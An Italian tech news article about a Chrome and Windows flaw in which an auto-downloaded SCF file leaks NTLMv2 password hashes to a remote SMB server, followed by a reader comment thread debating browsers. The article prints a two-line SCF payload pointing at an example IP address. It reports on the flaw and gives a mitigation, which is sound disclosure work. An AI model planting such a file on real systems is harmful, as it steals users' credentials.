Windows + Chrome + file SCF = rischio furto credenziali

17 Maggio 2017 174

Un ricercatore della società di sicurezza di DefenseCode ha scoperto una nuova vulnerabilità "congiunta" di Microsoft e Google: sfruttando Chrome e un file SCF opportunamente costruito un hacker può riuscire a impossessarsi delle credenziali di Windows 10. Il rischio più grave è che l'utente rischia semplicemente scaricando il file: non c'è bisogno di aprirlo o cliccarlo, basta aprire la cartella in cui risiede.

I file SCF (l'acronimo sta per Explorer Shell Command File) circolano dai tempi di Windows 98; uno degli esempi più famosi è il tasto "mostra desktop" incluso in svariate edizioni di Windows. Questi file sono dei semplici documenti di testo contenenti alcune istruzioni precise; una delle quali permette di specificare un'icona personalizzata. Basta puntare a un server SMB truffaldino che ruberà gli hash della password NTLMv2 e il nome dell'utente. La password rimane crittografata ma può essere processata con calma offline, oppure l'hash originale è utilizzabile su servizi online che sfruttano quel protocollo. Lato SCF, bastano questi pochi caratteri:

[Shell]
IconFile=\\170.170.170.170\icon

A quel punto basta aprire Esplora file e dirigersi nella cartella in cui il file è stato caricato per far partire l'hack.

La vulnerabilità è aggravata dal fatto che Chrome, con le impostazioni predefinite, scarica automaticamente i file con estensioni ritenute sicure, senza chiedere dove scaricarli; tra questi figurano appunto i file SCF. Già di per sé non è una soluzione molto sicura, ma se ci aggiungiamo che non è nemmeno necessario aprire il file - basta solo guardarlo - il rischio è potenzialmente molto elevato.

Google ha già detto che sta lavorando a un fix, ma nel frattempo gli utenti Chrome possono proteggersi temporaneamente abilitando la voce "Chiedi dove salvare il file prima di scaricarlo" nelle impostazioni avanzate del browser.

L'atipico che non delude in Italia? Meizu MX6 è in offerta oggi su a 215 euro oppure da Amazon a 275 euro.

174

Commenti

Regolamento Commentando dichiaro di aver letto il regolamento e di essere a conoscenza delle informazioni e norme che regolano le discussioni sul sito. Clicca per info.
Caricamento in corso. Per commentare attendere...
Re Deckars

A presto allora...

Re Deckars

Allora ti auguro buona fortuna... Ne avrai bisogno!

SirMau

No non sempre. Da Windows 7 in poi...
Con CU poi Edge è migliorato ancora, ormai non ha senso usarne un altro. Al massimo si tiene una versione portable di Chrome.

riccardik

Se mi dici che hai sempre usato ie ti faccio un applauso per il coraggio

Fabrizio - Kronoturbo

Se sei convinto tu...i numeri dimostrano quello che dico, e li il tifo non esiste caro mio

Damiano

Adesso è acqua di Windows se colpa fa Chrome da tutte le parti...

DeathTheKid

Infatti io lo lascio ad anniversary, non mi da problemi è un missile, poi più in la quando casa intel mette un po'di cervello nei driver aggiorno a creators.

Simone Masito Scotti

Le scansioni di wd le faccio eh..

Non lo metto in dubbio ma torno a ripetere che la colpa non è di Windows bensì dei driver scritti con i piedi. Lasciamo proprio perdere i driver di Intel poi che fanno letteralmente pena. Ho avuto dei grattacapi pazzeschi con un portatile nuovo di zecca e la scheda di rete wifi Intel: velocità di trasmissione ridicole, bsod e chi più ne ha più ne metta. È facile dare la colpa ad un sistema operativo ma bisogna vedere se è effettivamente così: questo è l'effetto collaterale di avere un sistema Rolling che si aggiorna in continuazione mentre gli altri sviluppatori se ne sbattono altamente.

Minestra Riscaldapple

Più che esperto sembri un tifoso. Di sicuro non sbaglio.

Tizio Caio

è una falla congiunta, né di uno né dell'altro, di tutti e due insieme

Michele Vitelli

Adesso è colpa di parti se Chrome fa acqua da tutte le Windows ....

Michele Vitelli

e se poi te ne penti?

Fabrizio - Kronoturbo

Ma x favore....su win 10 é in assoluto in piu veloce,semplice da usare e quello che consuma meno...il resto son solo fregnacce

#JMS

Come fai a saperlo senza scansioni. Ah si gira tutto bene...

#JMS

Quoto

Minestra Riscaldapple

è che la tua foto è sfocata, non capivo se ridevi o eri serio

Minestra Riscaldapple

Microsoft ha ampiamente dato modo di constatare negli anni come non sia capace di produrre e garantire un browser valido, affidabile, curato nel tempo. Che questo sia il suo miglior tentativo finora non è e non può essere sufficiente per chi ha esperienza decennale con i computer.

SirMau

Lo so cosa vuol dire, ero ironico

Minestra Riscaldapple

rosicare
ro·si·cà·re/
transitivo
1.
Rodere a poco a poco, rosicchiare: r. una pannocchia; anche tr. pronom. : rosicarsi un torsolo di mela; prov. chi non risica non rosica, bisogna rischiare per ottenere qualcosa.
intransitivo
1.
regionale
e gerg. Rodersi per la rabbia, la gelosia o l'invidia.
Origine
Lat. volg. *rosicare, intensivo di rod

Fabrizio - Kronoturbo

son partito dal 8086 e anche dal c64...lavoro come sistemista da 20...e ora spiega a me perché uno non dovrebbe usare edge, visto che io al 90% uso quello tutti i giorni, sia al lavoro che per casa...

Danny #

Ho messo lo screen del problema.

SirMau

Certo certo... Immagino le grandi magie che può fare...
sto sudando dall emozione guarda...

SirMau

Io mi trovo bene con i prodotti ma bisogna sempre la mentarsi con Microsoft. Sempre, se no si addormentano.

SirMau

rosichi?
Cosa sei un topo?

SirMau

Io uso Edge da sempre e mi trovo benissimo come o più degli altri che ormai non uso piu da Win7

SirMau

Fissate su ogni muro del mondo questo commento.
Continuo anche io a ripeterlo.
Vogliamo bug fix, correzioni a quello che esiste già. Non come ora che zviluppano continuamente cose nuove (di dubbia utilità tra l altro) e devono stare sempre a correggere errori critici quando potrebbero concentrarsi per un paio di anni a correggere anche i problemi più stupidi che però nella quotidianità si sentono.

Bastia Javi

Guarda, tra le due scelgo il meno peggio, cioè Ms

SirMau

Ammazza c hai una sfiga se anche il telefono si blocca. Che circostanze insolite..

Squak9000

Certo...
Se no hai mai usato a fondo Chrome non puoi sapere a cosa servono 'sti browser

SirMau

Ma a che servono tutti sti browser solo l uomo lo sa.
Mai usato Chrome

DeathTheKid

No ha ragione, l'ho notato anche io, ho avuto problemi con intel iris, e quando spostavo le tile sulla start durate lo spostamento i bordi diventavano tutti scalettati, in più la cpu schizzava a 88gradi in game, ho cambiato hardisk messo un ssd, installato anniversary con gli ultimi update e bloccato wuaserv, sembra un pc diverso.

Simone Masito Scotti

Ti scrivo quando ne prendo uno

Repox Ray

Chrome deve cambiare modo di gestire il download di files scf perchè quel nabbo di windows appena lo vede di propria iniziativa si collega al server smb "malizioso".

In pratica Chrome non protegge windows da un suo vizio di comportamento che sa tanto di backdoor, come il giochetto coi file .lnk usati per veicolare stuxnet.
Ma il problema è windows.

Se un domani porto io il file .scf con una chiavetta USB sfrutto ancora la falla e Chrome non c'entra nulla.

DeathTheKid

Mi sono convertito a edge im sorry xD

Re Deckars

Io dormo da 10 su una pista di atterraggio e non mi è mai successo nulla

Re Deckars

In realtà se hai letto sì

Re Deckars

Va beh una volta che hai effettuato il download..

Re Deckars

Il malware è windows quindi vedi te che preferisci

Ikaro

Così su due piedi può essere tutto e il contrario di tutto...
se sai che i driver sono apposto non son quelli...
Io proverei un test completo della ram (comando mdsched o ancora meglio memtest86+)...se quella va a bene... Andrei via via a stressare tutti gli altri componenti, anche con i classici programmetti di benchmark lanciati all'infinito, così se ti si ripresenta l'errore almeno puoi avere una stima di quale componente da problemi... Se anche così è tutto apposto, a quel punto potrebbe essere un bug di cu

Yuto Arrapato

E su IOS?:))

Davide

No altrimenti anche con gli altri browser sarebbe lo stesso problema

Danny #

Grazie mille!

Danny #

Office, driver per la stampante, alcuni software comodi. :)

Danny #

Ahahahah! Spero di no dai! :)

Minestra Riscaldapple

Solo chi ha meno di vent'anni può consigliare Edge al posto di qualunque altro browser. La poca esperienza che hai risalta come quella dei tuoi coetanei. Quando usciva Windows 7 avevi 8 anni, XP è tuo coetaneo, ti manca prospettiva. Prima di avere la tua età ho programmato sul c64, fatto manutenzione e riparazioni su Windows 3.1 e su 95. Probabilmente ne ho dette anch'io tante di stupidaggini alla tua età, prima di pontificare in un blog è utile sapere la storia (non spiegata da Microsoft stessa ovviamente) e stare ad ascoltare, perché c'è troppo da imparare e onestamente poco di utile da dire.

Mako

la falla è di windows

MasterBlatter

Chrome si rivela ancora una volta l'accozzaglia di patch che è ed è sempre stato

PadreMaronno

Io uso Mozilla sucatemelatutta

Andrej Peribar

per info, perchè?
NB a me non interessa convincerti :)

Surface Laptop, Studio e tutta la gamma Surface alla MS House | Video

Recensione HP Spectre x360 13: il convertibile migliore

Samsung Notebook 9 Pro e gli altri SUPER LAPTOP con Windows 10

Microsoft Surface Pro 2017 è ufficiale: la nostra video anteprima